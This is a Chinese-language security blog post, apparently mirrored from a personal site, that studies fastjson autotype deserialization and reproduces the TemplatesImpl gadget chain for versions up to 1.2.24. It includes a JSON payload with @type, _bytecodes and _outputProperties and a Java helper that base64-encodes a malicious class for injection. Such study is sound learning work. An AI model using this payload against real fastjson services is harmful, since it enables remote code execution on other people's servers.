3

fastjson反序列化

 1 year ago
source link: https://ethe448.github.io/2023/05/07/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.23</version>
</dependency>

FastJson概述

FastJson是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

先建一个javabean

public class javaBean {
    private String name;
    private int id;

    public javaBean(){
        System.out.println("无参构造");
    }

    public javaBean(String name, int id) {
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", id=" + id +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        System.out.println("setId");
        this.id = id;
    }
}

然后可以使用JSON的toJSONString方法 将对象转换为字符串

image-20230507175656907
image-20230507175656907

但是这样得到的json格式的字符串只有属性的内容,不能区分出属于哪一个类,因此toJSONString方法还有第二个参数SerializerFeature.WriteClassName

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。

image-20230507175837755
image-20230507175837755

这时的json中就有@type这个键,其值就是转换为json字符串的Java类

当然也可以把JSON 字符串转换为 Java 对象

使用JSON.parse或者JSON.parseObject可以把JSON 字符串转换为 Java 对象

image-20230507181201385
image-20230507181201385

JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。

这种把对象转化为json字符串,再把字符串转换为java对象的过程其实也是一种序列化和反序列化

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,

而反序列化的时候在,会调用了指定类的全部的setterpublibc修饰的成员全部赋值。

Fastjson反序列化漏洞复现

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

漏洞攻击方式

@type 指定类
使用JSON.parse方法反序列化会调用此类的set方法
使用JSON.parseObject方法反序列化会调用此类get和set方法
可以写一个恶意类,然后通过这一特性实现命令执行

image-20230507212130217
image-20230507212130217
image-20230507212119172
image-20230507212119172

parseObject流程

在正式复现漏洞之前,先看看parseObject的执行流程

首先就能看出来parseObject其实就是调了一个parse然后进行了强制类型转换

image-20230508161820331
image-20230508161820331

TemplatesImpl链

版本:fastjson <= 1.2.24

说明:借助TemplatesImpl类实现漏洞利用

这个类在CC链和CB链里都出现过,这里就是用了CB的那条从getOutputProperties到defineClass的路

先试试能不能到getOutputProperties,因为只有JSON.parseObject才能调用属性的get方法,所有这里只能用JSON.parseObject,而且因为fastjson处理的时候会去掉下划线,所以这个getOutputProperties方法对应的就是_outputProperties属性

image-20230507213337271
image-20230507213337271
image-20230507213503408
image-20230507213503408

证明确实能过来,所以后边就简单多了,就是满足一些条件,让它能最终加载恶意字节码

找找加载字节码的路上有哪些if判断,首先是_name不能为空,_class为空

image-20230507213559252
image-20230507213559252

然后是_bytecodes不能为空

image-20230507213645315
image-20230507213645315

_tfactory也不能空

image-20230507220349149
image-20230507220349149

最后就是加载的字节码内容是_bytecodes里的

image-20230507213909331
image-20230507213909331

这里_outputProperties_tfactoryHashMap类型的成员变量,所以可以赋值成一个空的hashmap,然后_name随便赋个字符串类型的值,_bytecodes是数组类型的值,这里我们先不纠结_bytecodes里的内容,先把链子跑通再说

Fastjson默认只会反序列化public修饰的属性,因此由于outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发;

构造好的测试payload为

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"a\",\"_tfactory\":{},\"_bytecodes\":[\"1111111\"],\"_outputProperties\":{}}";

这里一定要注意顺序,因为我们要的是给所有的属性赋值完后再去执行反序列化链,因此_outputProperties必须放在最后面

调试一下发现已经走到defineClass里了,但是字节数组里没有值

image-20230507221113254
image-20230507221113254

这就是我们之前说的fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

image-20230507222156589
image-20230507222156589

因为单纯的一个字符解不出来东西,导致出来的字节数组是空的

这也意味着我们要加载的恶意字节码必须经过base64加密后再传进去

这里就直接用cc3的时候的恶意字节码文件,然后对其进行base64加密

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class base {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "src/main/java/loadclass/cmd.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }
}

把得到的base64的结果放进_bytecodes里

image-20230507222920375
image-20230507222920375

总结

其实主要都是CB链的部分,大部分内容在前边也都讲过了


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK